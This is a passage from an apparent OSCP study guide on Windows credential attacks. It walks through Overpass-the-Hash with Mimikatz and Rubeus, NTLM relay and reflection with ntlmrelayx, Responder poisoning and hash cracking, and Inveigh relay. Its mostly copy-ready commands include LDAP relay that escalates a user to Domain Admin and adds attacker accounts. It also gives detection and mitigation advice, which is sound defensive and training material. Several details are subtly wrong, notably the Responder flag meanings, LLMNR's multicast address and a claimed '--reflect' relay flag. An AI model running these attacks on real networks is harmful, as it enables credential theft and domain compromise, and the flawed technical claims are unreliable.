AES-256 key for pre-auth |
/domain |
Target domain |
/ptt |
Pass-the-Ticket: inject into current session |
/outfile |
Save ticket to .kirbi file |
/opsec |
Skip certain checks (use with caution) |
Method 3: Mimikatz — Full Workflow from Hash Dump to Kerberos Access
# Complete workflow demonstrating Overpass-the-Hash
# Step 1: Dump credentials from LSASS
privilege::debug
sekurlsa::logonpasswords
# Output includes:
# Username: Administrator
# NTLM: d62c107dcad339b92d99393a3f57b058
# Step 2: Convert NTLM hash to Kerberos TGT
kerberos::ask /user:Administrator /domain:OFFENSE /rc4:d62c107dcad339b92d99393a3f57b058
# Step 3: Verify TGT
kerberos::list
# Shows: krbtgt/OFFENSE@OFFENSE
# Step 4: Access target via Kerberos
dir \\fileserver.offense.local\C$
Detection and Mitigation
| Detection Method | Details |
|---|---|
| Event ID 4768 (Kerberos TGT Request) | Monitor for TGT requests, especially with RC4 encryption type |
| Event ID 4768 with etype 23 (RC4) | Specifically flag RC4-based TGT requests — these indicate Overpass-the-Hash |
| TGT request from unusual source | A workstation requesting TGTs for admin accounts is suspicious |
| Time-based anomalies | TGT requests at unusual hours or from unusual machines |
| Mitigation | Details |
|---|---|
| Disable RC4 encryption type | Configure domain to require AES encryption only (blocks etype 23 pre-auth) |
| Force AES encryption | Group Policy: Network security: Configure encryption types allowed for Kerberos → set to AES only |
| Enable LSA Protection | Prevents hash extraction in the first place |
| Enable Credential Guard | Virtualizes credential storage |
| Monitor Kerberos events | Alert on 4768 events with RC4 encryption from non-admin workstations |
| Implement tiered administration | Admin accounts should not log on to workstations (prevents hash dumping) |
Overpass-the-Hash vs. Pass-the-Hash: Decision Guide
graph TD
A["You have an NTLM hash"] --> B{"Target accepts NTLM?"}
B -->|Yes| C["Use Pass-the-Hash<br/>(simpler, direct)"]
B -->|No / Kerberos required| D["Use Overpass-the-Hash<br/>(converts hash to TGT)"]
B -->|Uncertain| E["Try Pass-the-Hash first<br/>Fall back to Overpass-the-Hash"]
D --> F{"RC4 enabled on domain?"}
F -->|Yes| G["Overpass-the-Hash works"]
F -->|No (AES only)| H["Overpass-the-Hash fails<br/>Need plaintext password<br/>or AES key"]
OSCP Exam Relevance
Medium Priority — Overpass-the-Hash appears when:
- You have an NTLM hash but the target requires Kerberos authentication
- NTLM has been restricted via Group Policy
- You need to access a service that only accepts Kerberos (e.g., certain web applications)
Key exam tips:
Rubeus.exe asktgt /user:USER /rc4:HASH /domain:DOMAIN /pttis the one-liner to remember- If RC4 is disabled on the domain, Overpass-the-Hash with
/rc4will fail — you’d need the AES key instead- After successful Overpass-the-Hash, you have a real Kerberos TGT — all Kerberos-based attacks become available
Lab Practice Suggestions
- Hash to TGT conversion: Dump a hash from a Windows machine, use Rubeus to convert it to a TGT, and access a Kerberos-protected resource
- RC4 vs. AES: Practice with both RC4-enabled and AES-only domains to understand the limitations
- Combined workflow: Practice the full chain: credential dump → Overpass-the-Hash → lateral movement via Kerberos
Common Pitfalls and Troubleshooting
| Problem | Cause | Solution |
|---|---|---|
KDC_ERR_PREAUTH_FAILED |
RC4 encryption type disabled for the account | Check domain encryption policy; try /aes128 or /aes256 if you have those keys |
The specified domain either does not exist or could not be contacted |
Cannot reach the KDC | Verify network connectivity to the DC on port 88 |
| TGT created but access still denied | Ticket not properly injected | Verify with klist; re-run with /ptt flag |
Logon failure after Overpass-the-Hash |
Account locked out or disabled | Check account status; the hash must belong to an active account |
Rubeus hangs on asktgt |
DNS resolution issues | Use /dc:DC_IP_ADDRESS to specify the DC directly |
3.5 NTLM Relay Attacks
Vulnerability Explanation
NTLM Relay is one of the most powerful and exam-relevant NTLM attacks. It exploits the fundamental design weakness of NTLM: lack of mutual authentication.
The Core Vulnerability
In the NTLM challenge-response protocol:
- The server authenticates the client (by verifying the client’s response to a challenge)
- The client does NOT authenticate the server
This means an attacker can position themselves between a victim and a target server, and:
- The victim thinks it is authenticating to a legitimate server
- The attacker relays the victim’s NTLM response to the actual target server
- The target server accepts the relayed response as valid
- The attacker gains access to the target as the victim
No password cracking is needed. The victim’s own authentication credentials are relayed in real-time.
Why NTLM Relay Works
sequenceDiagram
participant Victim
participant Attacker
participant Target
Note over Victim: Victim tries to access<br/>a non-existent resource<br/>(e.g., \\fake-server\share)
Victim->>Attacker: 1. SMB connection to attacker<br/>(victim thinks attacker is the server)
Attacker->>Victim: 2. NTLM Type 1 (Negotiate)
Victim->>Attacker: 3. NTLM Type 1 response<br/>(client capabilities)
Attacker->>Victim: 4. NTLM Type 2 (Challenge)<br/>(8-byte random nonce)
Victim->>Victim: 5. Victim computes response<br/>using stored NTLM hash + challenge
Victim->>Attacker: 6. NTLM Type 3 (Authenticate)<br/>(response + username + domain)
Note over Attacker: Attacker captures the response
Attacker->>Target: 7. Attacker initiates NEW NTLM session<br/>with the target server
Target->>Attacker: 8. Target sends ITS OWN challenge
Attacker->>Victim: 9. Attacker sends target's challenge<br/>to the victim (modified relay)
Victim->>Attacker: 10. Victim responds to target's challenge
Attacker->>Target: 11. Attacker relays victim's response<br/>to the target server
Target->>Target: 12. Target verifies response<br/>using victim's stored NTLM hash
Target-->>Attacker: 13. Authentication SUCCESS<br/>(attacker now authenticated as victim)
Note over Attacker: Access to Target as Victim!
Simplified view: The attacker acts as a man-in-the-middle. The victim authenticates to the attacker (thinking it’s a real server), and the attacker forwards that authentication to the real target.
Common Relay Scenarios
| Scenario | How It Works |
|---|---|
| LLMNR/NBT-NS poisoning + Relay | Attacker poisons LLMNR/NBT-NS queries, victim connects to attacker, attacker relays to SMB/LDAP target |
| SMB relay | Victim tries to access a share, attacker intercepts and relays to another SMB server |
| HTTP relay | Victim accesses a webpage, attacker relays to another HTTP service |
| LDAP relay | Victim authenticates, attacker relays to LDAP to modify AD objects |
| WinRM relay | Victim authenticates, attacker relays to WinRM for remote command execution |
Prerequisites
| Requirement | Details |
|---|---|
| Ability to trigger NTLM authentication | LLMNR/NBT-NS poisoning, bait shares, crafted links, etc. |
| Network position | Must be able to intercept traffic between victim and target (same subnet or routed) |
| Target accepts NTLM | The relay target must support NTLM authentication |
| Victim has useful permissions | The relay is only valuable if the victim has access to the target |
| No signing requirements | SMB signing, LDAP signing, or Channel Binding will block relay |
Attack Flow (High-Level)
graph TB
subgraph Setup["Setup Phase"]
A1["Identify relay target<br/>(SMB, LDAP, HTTP, WinRM)"]
A2["Start ntlmrelayx pointing at target"]
A3["Start Responder for LLMNR/NBT-NS poisoning"]
end
subgraph Trigger["Trigger Phase"]
B1["Victim makes LLMNR/NBT-NS query"]
B2["Responder answers with attacker's IP"]
B3["Victim connects to attacker"]
end
subgraph Relay["Relay Phase"]
C1["NTLM handshake begins"]
C2["ntlmrelayx captures victim's response"]
C3["ntlmrelayx relays to target server"]
end
subgraph Result["Result"]
D1["Attacker authenticated as victim<br/>on target server"]
D2["Execute commands, escalate privileges,<br/>or access resources"]
end
A1 --> A2 --> A3 --> B1 --> B2 --> B3 --> C1 --> C2 --> C3 --> D1 --> D2
Step-by-Step Exploitation
Method 1: Responder + ntlmrelayx (Classic Combo)
This is the most common NTLM Relay setup. Responder captures the victim’s authentication attempt, and ntlmrelayx relays it to the target.
Terminal 1 — Start ntlmrelayx (Relay to SMB):
# Basic relay to SMB
python3 ntlmrelayx.py -t smb://10.10.10.10 --escalate-user target_user
# Relay to SMB and execute a command after authentication
python3 ntlmrelayx.py -t smb://10.10.10.10 -c "whoami"
# Relay to SMB and spawn a shell
python3 ntlmrelayx.py -t smb://10.10.10.10 -c "cmd.exe"
Terminal 2 — Start Responder (Poison LLMNR/NBT-NS):
# Start Responder with SMB and HTTP servers enabled
# Disable LLMNR/NBT-NS poisoning if using ntlmrelayx (avoid self-poisoning)
Responder -I eth0 -wrf -rdP
# Parameters:
# -I eth0 : Interface to listen on
# -w : Enable NBT-NS (Windows Name Service) poisoning
# -r : Enable LLMNR poisoning
# -f : Force file share responses
# -dP : Don't poison DHCP requests
# -rdP : Don't poison DHCP, don't poison WDigest
Terminal 3 — Trigger the Attack:
# From the victim machine (or bait the victim):
# Method 1: Access a non-existent share
\\nonexistent-server\share
# Method 2: Use Responder's brute mode
Responder -I eth0 -wrf -BFile brute.txt
# Method 3: From another machine, trigger LLMNR query
nmap -sn 10.10.99.99 # Non-existent host triggers LLMNR
Method 2: Relay to LDAP (Domain Escalation)
Relaying to LDAP is one of the most powerful NTLM Relay techniques because it allows direct modification of Active Directory objects.
# Relay to LDAP and escalate a user to Domain Admin
python3 ntlmrelayx.py -t ldap://10.10.10.1 --escalate-user target_user
# What this does:
# 1. Waits for an NTLM authentication to relay
# 2. Relays the authentication to the LDAP server (Domain Controller)
# 3. Adds the authenticated user to the Domain Admins group
# 4. The user now has Domain Admin privileges
# Relay to LDAP and create a new admin user
python3 ntlmrelayx.py -t ldap://10.10.10.1 --add-user AttackerUser P@ssw0rd!
# Relay to LDAP and modify user properties
python3 ntlmrelayx.py -t ldap://10.10.10.1 --delegate-access target_user
Method 3: Relay to HTTP/WinRM
# Relay to HTTP (e.g., web application, SCCM, SOPHOS)
python3 ntlmrelayx.py -t http://10.10.10.10
# Relay to HTTPS
python3 ntlmrelayx.py -t https://10.10.10.10 --ignore-cert
# Relay to WinRM (PowerShell Remoting)
python3 ntlmrelayx.py -t http://10.10.10.10:5985/wsman
# Relay to WinRM and execute command
python3 ntlmrelayx.py -t http://10.10.10.10:5985/wsman -c "whoami"
Method 4: Multi-Protocol Relay (Auto-Detect)
# ntlmrelayx can auto-detect the protocol based on the target
python3 ntlmrelayx.py -t 10.10.10.10
# It will try SMB by default, but can be configured for multiple protocols
python3 ntlmrelayx.py -t 10.10.10.10 -smb2support
Method 5: Finding Relay Targets with CrackMapExec
Before relaying, identify which machines are vulnerable (i.e., do NOT require SMB signing):
# Generate a list of machines that don't require SMB signing
crackmapexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt
# The output file contains IPs of vulnerable targets
cat relay_targets.txt
# Relay to all vulnerable targets
python3 ntlmrelayx.py -t smb://$(head -1 relay_targets.txt)
Method 6: ntlmrelayx Parameter Reference
| Parameter | Description | Example |
|---|---|---|
-t |
Target URL (protocol://host) | -t smb://10.10.10.10 |
-c |
Command to execute after relay | -c "whoami" |
--escalate-user |
Add authenticated user to Domain Admins | --escalate-user jdoe |
--add-user |
Create new user with password | --add-user hacker P@ss |
--delegate-access |
Grant DCSync rights to user | --delegate-access jdoe |
-l |
Loot directory (where to save captured files) | -l ./loot |
-sf |
Skip files (file extensions to ignore) | -sf .jpg,.png |
-sc |
Skip certs (certificate extensions to ignore) | -sc .crt |
--smb2support |
Enable SMBv2/3 support | --smb2support |
--ignore-cert |
Ignore HTTPS certificate errors | --ignore-cert |
-wh |
Webserver hostname (for HTTP relay) | -wh evil.com |
-of |
Override filename for HTTP relay | -of evil.doc |
-ext |
File extensions to relay | -ext docx,xlsx,pptx |
Detection and Mitigation
| Detection Method | Details |
|---|---|
| Event ID 4624 from unusual source IPs | NTLM logons from the attacker’s IP to the target |
| Event ID 4768/4769 anomalies | Unusual Kerberos activity following NTLM relay |
| LLMNR/NBT-NS traffic analysis | Multiple responses to the same query (poisoning indicator) |
| LDAP bind from unexpected source | Event ID 4662 on AD objects from relay attacker’s IP |
| Group membership changes | Event ID 4728 (member added to global group) — indicates LDAP relay escalation |
| Network traffic analysis | NTLM handshake to attacker’s IP instead of legitimate server |
| Mitigation | Details | Priority |
|---|---|---|
| Disable LLMNR | Group Policy: Network interfaces → Configure LLMNR → Disable |
HIGH |
| Disable NBT-NS | Group Policy: Microsoft Network Client → Enable NetBIOS mode → Disable |
HIGH |
| Enable SMB Signing | Group Policy: Microsoft Network Server → Require secure (Signed) communications |
HIGH |
| Enable LDAP Signing | Group Policy: Domain Controller → LDAP server signing behavior → Require Signing |
HIGH |
| Enable Channel Binding | Tokens-Only or Strict mode for SMB and other protocols | HIGH |
| Deploy Segmentations | Network segmentation limits relay paths | MEDIUM |
| Use Kerberos | Configure services to require Kerberos, eliminating NTLM | HIGH |
OSCP Exam Relevance
High Priority — NTLM Relay is a frequently tested technique, especially in Active Directory boxes. Common exam scenarios:
- Responder + ntlmrelayx to SMB: You poison LLMNR, capture an admin’s hash, and relay to gain SMB access
- LDAP relay for escalation: You relay a user’s authentication to LDAP and escalate them to Domain Admin
- Web/HTTP relay: You relay authentication to a web application for access
Key exam tips:
- Always check for SMB signing before attempting relay (
crackmapexec smb --gen-relay-list)--escalate-useris the fastest path to Domain Admin via LDAP relay- Responder’s
-rdPflags are important to avoid poisoning your own traffic- Remember: NTLM Relay requires the victim to initiate the connection — you need a trigger mechanism
Lab Practice Suggestions
- Full relay chain: Set up Responder + ntlmrelayx, trigger an LLMNR query from a victim, and relay to an SMB target
- LDAP relay escalation: Practice relaying to LDAP and using
--escalate-userto gain Domain Admin - HTTP relay: Set up a simple HTTP server as the relay target and practice the HTTP relay flow
- Defense testing: Enable SMB signing and LLMNR disablement, then verify that relay no longer works
Common Pitfalls and Troubleshooting
| Problem | Cause | Solution |
|---|---|---|
Relay fails with STATUS_INVALID_NETWORK_RESPONSE |
SMB signing required on target | Target is not relayable; find another target or use a different attack |
| Responder captures hash but ntlmrelayx doesn’t relay | Timing issue or wrong interface | Ensure both tools use the same interface; check firewall rules |
--escalate-user fails |
Insufficient permissions on LDAP | The relayed user must have write access to the Domain Admins group (or use --add-user instead) |
| Victim doesn’t connect to attacker | LLMNR not triggered or wrong interface | Verify the victim is on the same subnet; use -A flag in Responder to answer all queries |
| ntlmrelayx hangs without relaying | No NTLM authentication received | Verify Responder is running and the victim is triggering LLMNR/NBT-NS queries |
| Self-poisoning (attacker captures own hash) | Responder answering attacker’s own queries | Use -rdP flags; exclude attacker’s IP in Responder config |
3.6 NTLM Reflection
Vulnerability Explanation
NTLM Reflection is a specialized variant of the NTLM Relay attack. Instead of relaying the victim’s authentication to a different target, the attacker reflects the authentication back to the victim itself (or to a related service on the same machine).
The Core Concept
In a standard NTLM Relay:
- Victim → Attacker → Different Target Server
In NTLM Reflection:
- Victim → Attacker → Same Victim (or same machine’s different service)
This is useful when:
- The victim machine has multiple services that accept NTLM
- You can authenticate to one service (e.g., HTTP) and reflect to another (e.g., SMB)
- The victim’s own credentials grant higher privileges on the reflected service
When Reflection Is Needed
Standard NTLM Relay has a limitation: many systems will not authenticate to themselves (loopback check). NTLM Reflection techniques work around this by:
- Reflecting to a different service on the same machine (HTTP → SMB on the same host)
- Using a different challenge to avoid detection
- Exploiting the absence of mutual authentication in NTLM
sequenceDiagram
participant Victim
participant Attacker
Note over Victim: Victim has multiple services<br/>(HTTP on 80, SMB on 445)
Victim->>Attacker: 1. Victim connects to attacker<br/>(e.g., via HTTP)
Attacker->>Victim: 2. NTLM Challenge
Victim->>Attacker: 3. NTLM Response<br/>(proves knowledge of hash)
Note over Attacker: Attacker cannot relay to same NTLM session<br/>(loopback detection)
Attacker->>Victim: 4. Attacker initiates NEW connection<br/>to Victim's SMB service
Victim->>Attacker: 5. SMB NTLM Challenge
Attacker->>Victim: 6. Reflect: Use victim's captured response<br/>(modified for new challenge)
Note over Victim: 7. Victim's SMB service accepts<br/>the reflected authentication
Note over Attacker: Attacker now has SMB access<br/>on the victim's own machine
Key Technical Challenge: Challenge Mismatch
The fundamental challenge with NTLM Reflection is that each NTLM session uses a different 8-byte challenge. The victim’s response to Challenge A cannot be directly used for Challenge B.
Solutions used in practice:
- NTLMv1 reflection: NTLMv1 responses are partially predictable and can sometimes be reused across challenges
- Challenge manipulation: Some implementations allow the attacker to influence the challenge value
- Multi-protocol reflection: The victim authenticates via one protocol (HTTP/445) and is reflected to another (SMB/445) — different services may use different challenges
Prerequisites
| Requirement | Details |
|---|---|
| Same as NTLM Relay | Ability to trigger NTLM authentication from the victim |
| Multiple services on target | The victim machine must have at least two NTLM-accepting services |
| No signing on reflected service | The target service must not require message signing |
| NTLMv1 or specific conditions | Pure NTLMv2 reflection is very difficult; NTLMv1 is more reflection-friendly |
Step-by-Step Exploitation
Method 1: ntlmrelayx with Reflection Support
# Basic reflection attempt
python3 ntlmrelayx.py -t smb://10.10.10.10 --reflect
# The --reflect flag tells ntlmrelayx to attempt reflection
# This works best when:
# 1. The victim initiates NTLM to the attacker
# 2. The attacker relays back to the victim's SMB service
Method 2: Multi-Protocol Reflection (HTTP to SMB)
# Terminal 1: Start HTTP server that triggers NTLM auth
python3 ntlmrelayx.py -t smb://10.10.10.10 -wh localhost
# The -wh (webhost) flag makes ntlmrelayx act as an HTTP server
# When the victim accesses the HTTP server, NTLM auth is triggered
# The authentication is then relayed to the victim's own SMB service
# Terminal 2: Trigger the victim to access the HTTP server
# (e.g., via crafted email, malicious link, or LLMNR poisoning)
Method 3: Using Responder with Custom Challenge
# Set a predictable challenge for easier reflection
Responder -I eth0 -wrf -rdP --Challenge 1122334455667788
# A fixed challenge can sometimes help with reflection attacks
# because the response computation is more predictable
Method 4: NTLMv1 Reflection (If Enabled)
# If the target still supports NTLMv1 (rare but possible in labs):
# NTLMv1 responses are easier to reflect because:
# 1. The response structure is simpler
# 2. Less challenge-dependent
# Force NTLMv1 in Responder
# Edit /usr/share/responder/Responder.conf:
# [FTP]
# FTP = On
# [Generics]
# Generic = On
# Then run Responder and attempt reflection
Responder -I eth0 -wrf -rdP
Detection and Mitigation
| Detection Method | Details |
|---|---|
| Event ID 4624 with same source and destination IP | Authentication from a machine to itself via an intermediary |
| Multiple NTLM sessions from same IP in short time | Reflection creates additional NTLM sessions |
| Cross-protocol authentication | HTTP auth followed by SMB auth from same source |
| Mitigation | Details |
|---|---|
| Disable NTLMv1 entirely | Group Policy: Network security: LAN Manager authentication level → Send NTLMv2 response only |
| Enable SMB Signing | Prevents relay and reflection to SMB |
| Enable Loopback Check | Windows Server 2003+ has loopback check by default for HTTP |
| Disable LLMNR/NBT-NS | Removes the trigger mechanism |
| Use Kerberos | Kerberos is not vulnerable to reflection attacks |
OSCP Exam Relevance
Low-Medium Priority — NTLM Reflection is less commonly tested than standard NTLM Relay. It may appear in:
- Advanced Active Directory scenarios where standard relay is blocked
- Machines where the only available target is the victim itself
- Specific CTF-style challenges
Key exam tips:
- Focus on standard NTLM Relay first — it’s more reliable and more commonly tested
- Reflection is a fallback technique when standard relay targets are unavailable
- The
--reflectflag in ntlmrelayx is worth knowing but don’t rely on it as a primary technique
Common Pitfalls and Troubleshooting
| Problem | Cause | Solution |
|---|---|---|
| Reflection fails silently | NTLMv2 challenge mismatch | Try NTLMv1 if available, or use a different relay target |
--reflect flag not working |
Target requires signing or mutual auth | Find an unsigned service to reflect to |
| Victim detects loopback | Windows loopback check is active | Try reflecting to a different service/port on the same machine |
3.7 Responder Usage
Overview
Responder is a Python-based LLMNR, NBT-NS, and mDNS poisoner and attacker. It is one of the most essential tools in the NTLM attack arsenal, serving two primary functions:
- Hash Capture: Responds to LLMNR/NBT-NS/mDNS queries with the attacker’s IP, causing victims to authenticate to the attacker and send their NTLM hash
- Relay Trigger: Works in conjunction with ntlmrelayx to capture and relay NTLM authentications in real-time
Understanding the Protocols Responder Exploits
| Protocol | Port | Purpose | Why It’s Vulnerable |
|---|---|---|---|
| LLMNR (Link-Local Multicast Name Resolution) | 5355/UDP | Local name resolution when DNS fails | No authentication; anyone can respond |
| NBT-NS (NetBIOS Name Service) | 137/UDP | Legacy Windows name resolution | No authentication; anyone can respond |
| mDNS (Multicast DNS) | 5353/UDP | Zero-configuration networking | No authentication; anyone can respond |
Why Do These Protocols Exist?
When a Windows machine cannot resolve a hostname via DNS, it falls back to:
- LLMNR: Broadcasts a query on the local network (multicast 224.0.0.1)
- NBT-NS: Broadcasts a NetBIOS name query (UDP 137)
- The first machine that responds wins — there is no verification that the responder is legitimate
Common triggers for LLMNR/NBT-NS queries:
- Typing a non-existent hostname in a file explorer (
\\typo-server\share) - Broken internal links in documents or emails
- Applications referencing non-existent hosts
- Failed DNS resolution for internal resources
- Scheduled tasks or services referencing old hostnames
Installation and Setup
# Responder is pre-installed on Kali Linux
# Verify installation
which Responder
# If not installed, install manually
git clone https://github.com/lgandx/Responder.git
cd Responder
pip3 install -r requirements.txt
python3 Responder.py --help
Common Commands
Basic Hash Capture Mode
# Capture NTLM hashes via LLMNR and NBT-NS poisoning
Responder -I eth0 -wrfA
# Parameters:
# -I eth0 : Network interface to listen on
# -w : Enable NBT-NS (NetBIOS Name Service) poisoning
# -r : Enable LLMNR poisoning
# -f : Force file share responses (respond even if target doesn't request a file share)
# -A : Answer ALL LLMNR/NBT-NS requests (not just those the attacker can handle)
Relay Mode (With ntlmrelayx)
# Poison for relay (disable WDigest capture to avoid plaintext password interference)
Responder -I eth0 -wrf -rdP
# Parameters:
# -dP : Don't poison DHCP requests (avoid disrupting network)
# -r : Enable LLMNR poisoning
# -w : Enable NBT-NS poisoning
# -f : Force file share responses
# (No -A) : Don't answer all — let ntlmrelayx handle the relay
Brute Force Mode
# Brute force common hostnames to trigger LLMNR queries from victims
Responder -I eth0 -wrf -r -dP -BFile /usr/share/responder/extra/module-subnets.txt
# Or use a custom wordlist of hostnames
Responder -I eth0 -wrf -BFile brute.txt
Custom Challenge Mode
# Use a custom challenge value (useful for reflection attacks or controlled testing)
Responder -I eth0 -wrf -rdP --Challenge 1122334455667788
# The challenge is an 8-byte (16 hex char) value
# Using a known challenge helps with offline cracking and reflection
Key Options Reference
| Option | Description | When to Use |
|---|---|---|
-I <interface> |
Network interface to listen on | Always specify (e.g., eth0, tun0) |
-w |
Enable NBT-NS poisoning | When targeting Windows machines |
-r |
Enable LLMNR poisoning | When targeting Windows Vista+ machines |
-f |
Force file share responses | When you want to maximize capture rate |
-A |
Answer all LLMNR/NBT-NS requests | When capturing hashes (not relaying) |
-dP |
Don’t poison DHCP | Always use to avoid network disruption |
-BFile <file> |
Brute force mode with wordlist | When you need to actively trigger queries |
--Challenge <hex> |
Custom NTLM challenge | For reflection attacks or controlled testing |
-b |
Enable basic output mode | For cleaner terminal output |
-d |
Enable verbose/debug output | For troubleshooting |
-P |
Disable poisoning (listen only) | Passive monitoring mode |
-F |
Force output to file | When logging captures |
-wrfA |
Common combo: NBT+LLMNR+Force+All | Hash capture mode |
-wrf -rdP |
Common combo: NBT+LLMNR+Force, no DHCP | Relay mode |
Output and Hash Location
When Responder captures NTLM hashes, they are saved to:
/usr/share/Responder/loot/
├── JTRResponder.captured (John the Ripper format)
├── JTRResponder.txt (John the Ripper format, alternate)
├── Responder-NTLMv2-Captures.txt (NTLMv2 challenge-response format)
└── Responder-Capture.db (SQLite database of all captures)
Hash format in Responder-NTLMv2-Captures.txt:
username::domain:challenge:response:ntlmv2_part1:ntlmv2_part2
Example:
Administrator::OFFENSE:8F4A123B5C6D7E9F:A1B2C3D4E5F60718293A4B5C6D7E8F9001112131314151611718191A1B1C1D1E1F2021222324252627:1122334455667788:99AABBCCDDEEFF00
Cracking Captured Hashes
# Crack NTLMv2 hashes with Hashcat
hashcat -m 5600 /usr/share/Responder/loot/Responder-NTLMv2-Captures.txt rockyou.txt -O
# Crack with John the Ripper
john --format=netntlmv2 /usr/share/Responder/loot/JTRResponder.captured --wordlist=rockyou.txt
Responder Configuration
The main configuration file is at /usr/share/Responder/Responder.conf. Key sections:
[Global]
; Challenge set to a known value for easier cracking
Challenge = 1122334455667788
; Interfaces to listen on
Interfaces = eth0
[FTP]
FTP = On
[HTTP]
HTTP = On
; Custom HTTP challenge
HTTP_Challenge = 1122334455667788
[SMB]
SMB = On
[MSSQL]
MSSQL = On
[SMTP]
SMTP = On
[POP]
POP = On
[IMAP]
IMAP = On
[MSN]
MSN = On
[LDAP]
LDAP = On
[DNS]
DNS = On
[DNS_TXT]
DNS_TXT = On
[MYSQL]
MYSQL = On
[Generics]
Generic = On
Responder in Different Attack Scenarios
Scenario 1: Hash Capture (Standalone)
# Terminal 1: Start Responder for hash capture
Responder -I eth0 -wrfA
# Terminal 2: Trigger LLMNR queries (from victim or manually)
# On victim machine:
\\nonexistent-host\share
# Check captured hashes:
cat /usr/share/Responder/loot/Responder-NTLMv2-Captures.txt
Scenario 2: Relay to SMB
# Terminal 1: Start ntlmrelayx
python3 ntlmrelayx.py -t smb://10.10.10.10 -c "whoami"
# Terminal 2: Start Responder (relay mode)
Responder -I eth0 -wrf -rdP
# Terminal 3: Trigger authentication
# (victim accesses non-existent resource)
Scenario 3: Relay to LDAP for Domain Escalation
# Terminal 1: Start ntlmrelayx targeting LDAP
python3 ntlmrelayx.py -t ldap://10.10.10.1 --escalate-user target_user
# Terminal 2: Start Responder
Responder -I eth0 -wrf -rdP
# Terminal 3: Trigger authentication from a privileged user
OSCP Exam Relevance
High Priority — Responder is one of the most frequently used tools on OSCP exams. You will use it to:
- Capture NTLM hashes from Windows machines via LLMNR/NBT-NS poisoning
- Trigger NTLM Relay attacks in combination with ntlmrelayx
- Capture hashes from services like FTP, HTTP, and MSSQL
Key exam tips:
- Always use
-Ito specify the correct interface- Use
-wrfAfor hash capture mode,-wrf -rdPfor relay mode- Captured hashes are in
/usr/share/Responder/loot/- Common trigger: have the victim access
\\nonexistent\shareor use Responder’s brute mode- Remember to crack captured NTLMv2 hashes with Hashcat mode 5600
Lab Practice Suggestions
- Hash capture: Set up Responder in a lab, trigger LLMNR queries from Windows machines, and capture hashes
- Hash cracking: Capture hashes with Responder, then crack them with Hashcat
- Relay chain: Practice the full Responder → ntlmrelayx → SMB/LDAP relay workflow
- Service-specific capture: Enable FTP, HTTP, and MSSQL servers in Responder config and capture hashes from those protocols
Common Pitfalls and Troubleshooting
| Problem | Cause | Solution |
|---|---|---|
| Responder won’t start | Interface name wrong or already in use | Check with ip a; use correct interface name; kill existing instances |
| No hashes captured | Victims not triggering LLMNR/NBT-NS | Use brute mode (-BFile) or manually trigger from victim |
| Capturing own machine’s hash | Self-poisoning | Exclude your IP in Responder.conf or use -dP |
| Hashes not saved to loot directory | Permission issues or wrong Responder version | Run with sudo; check loot directory permissions |
| LLMNR disabled on victim | Windows 10+ may have LLMNR disabled | Try NBT-NS instead (-w flag); check victim’s network settings |
| Responder conflicts with ntlmrelayx | Both trying to handle the same protocol | Use -rdP in Responder when relaying; let ntlmrelayx handle the SMB/HTTP |
3.8 Inveigh Usage
Overview
Inveigh is a PowerShell-based LLMNR, NBT-NS, mDNS, and DNSv6 (multicast DNS for IPv6) poisoner and relay server. Unlike Responder (which is Python/Linux-based), Inveigh runs natively on Windows, making it invaluable when:
- You have access to a Windows machine but not a Linux machine
- You need to perform poisoning from within the target network (better position)
- You want to avoid deploying Python/Impacket on a Windows box
- You need IPv6/mDNS support (which Responder handles less well)
Inveigh-PS is the community-maintained PowerShell module version that is more commonly used than the original Inveigh executable.
Features Comparison: Responder vs. Inveigh
| Feature | Responder | Inveigh |
|---|---|---|
| Platform | Linux (Python) | Windows (PowerShell) |
| LLMNR poisoning | Yes | Yes |
| NBT-NS poisoning | Yes | Yes |
| mDNS poisoning | Yes | Yes |
| DNSv6 (IPv6 mDNS) | Limited | Yes |
| NTLM relay | Via ntlmrelayx | Built-in |
| Hash capture | Yes | Yes |
| Web server for relay | Via ntlmrelayx | Built-in |
| DNS spoofing | No | Yes |
| DHCP spoofing | No | Yes (limited) |
| Session support | No | Yes (maintains relay sessions) |
Installation and Setup
# Method 1: Download Inveigh-PS from GitHub
# Download from: https://github.com/Kevin-Robertson/Inveigh
# Method 2: Import the PowerShell module
Import-Module .\Inveigh.ps1
# Verify the module is loaded
Get-Command -Module Inveigh
Common Commands
Start Inveigh in Capture Mode
# Import the module
Import-Module .\Inveigh.ps1
# Start Inveigh with default settings (capture + relay)
Inveigh
# Start with explicit options
Inveigh -Enable 1 -Capture 1 -Relay 0 -DNS 1 -LLMNR 1 -NBNS 1 -MDNS 1 -DNSv6 1
# Parameters:
# -Enable 1 : Enable Inveigh
# -Capture 1 : Capture NTLM hashes
# -Relay 0 : Disable relay (capture only)
# -DNS 1 : Enable DNS spoofing
# -LLMNR 1 : Enable LLMNR poisoning
# -NBNS 1 : Enable NBT-NS poisoning
# -MDNS 1 : Enable mDNS poisoning
# -DNSv6 1 : Enable DNSv6 (IPv6 mDNS) poisoning
Start Inveigh in Relay Mode
# Relay captured authentication to a target SMB server
Inveigh -Enable 1 -Capture 0 -Relay 1 -RelayHost 10.10.10.10 -RelayPort 445
# Relay to HTTP server
Inveigh -Enable 1 -Capture 0 -Relay 1 -RelayHost 10.10.10.10 -RelayPort 80 -RelayProtocol HTTP
# Relay to LDAP for domain escalation
Inveigh -Enable 1 -Capture 0 -Relay 1 -RelayHost 10.10.10.1 -RelayPort 389 -RelayProtocol LDAP
Combined Capture and Relay
# Capture hashes AND relay to a target
Inveigh -Enable 1 -Capture 1 -Relay 1 -RelayHost 10.10.10.10 -RelayPort 445
# With DNS spoofing enabled
Inveigh -Enable 1 -Capture 1 -Relay 1 -RelayHost 10.10.10.10 -RelayPort 445 -DNS 1 -LLMNR 1 -NBNS 1
Inveigh Parameter Reference
| Parameter | Values | Description |
|---|---|---|
-Enable |
1 / 0 |
Enable/disable Inveigh |
-Capture |
1 / 0 |
Enable/disable NTLM hash capture |
-Relay |
1 / 0 |
Enable/disable NTLM relay |
-RelayHost |
IP address | Target host for relay |
-RelayPort |
Port number | Target port for relay (445=SMB, 80=HTTP, 389=LDAP) |
-RelayProtocol |
SMB / HTTP / LDAP / WMI |
Protocol for relay target |
-DNS |
1 / 0 |
Enable/disable DNS spoofing |
-LLMNR |
1 / 0 |
Enable/disable LLMNR poisoning |
-NBNS |
1 / 0 |
Enable/disable NBT-NS poisoning |
-MDNS |
1 / 0 |
Enable/disable mDNS poisoning |
-DNSv6 |
1 / 0 |
Enable/disable DNSv6 (IPv6 mDNS) poisoning |
-ConsoleOutput |
A / S / N |
Console output level (All/Summary/None) |
-StatsInterval |
